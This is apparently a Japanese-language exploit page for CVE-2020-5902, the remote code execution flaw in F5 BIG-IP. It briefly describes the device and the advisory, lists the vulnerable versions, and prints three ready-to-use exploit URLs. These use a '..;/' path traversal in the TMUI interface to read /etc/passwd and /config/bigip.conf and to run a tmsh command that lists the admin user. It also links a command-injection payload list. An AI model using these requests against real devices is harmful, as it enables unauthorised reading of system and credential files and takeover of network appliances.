RCE-CVE-2020-5902

BIG-IP F5 リモートコード実行

説明

これらの攻撃は、F5 Networks が製造する多目的ネットワークデバイスである BIG-IP を標的としています。BIG-IP デバイスは、トラフィックシェーピングシステム、ロードバランサー、ファイアウォール、アクセスゲートウェイ、レートリミッター、または SSL ミドルウェアとして機能するように設定できます。

水曜日、F5 Networks はパッチを公開し、BIG-IP デバイスにおける「リモートコード実行」の脆弱性に関するセキュリティアドバイザリをリリースしました。

F5 は、CVE-2020-5902 として追跡されるこの脆弱性により、攻撃者がインターネットからアクセス可能な未パッチのシステムを完全に制御できる可能性があると述べています。

Version BIG-IP Vulnerable : 15.0.0-15.1.0.3, 14.*.*, 13.*.*, 12.*.*, 11.*.*
Vulnerability             : Remote Code Execution (RCE) 
Score CVE                 : 10/10

エクスプロイト

https://<BIG-IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

https://BIG-IP/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.conf

https://<BIG-IP>/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin

NMAP チェック

RCE ペイロード

https://github.com/payloadbox/command-injection-payload-list

参考

https://twitter.com/Nep_1337_1998/status/1279610946864820225

https://www.zdnet.com/article/hackers-are-trying-to-steal-admin-passwords-from-f5-big-ip-devices/

RCE-CVE-2020-5902

人気

RCE-CVE-2020-5902

説明

エクスプロイト

NMAP チェック

RCE ペイロード

参考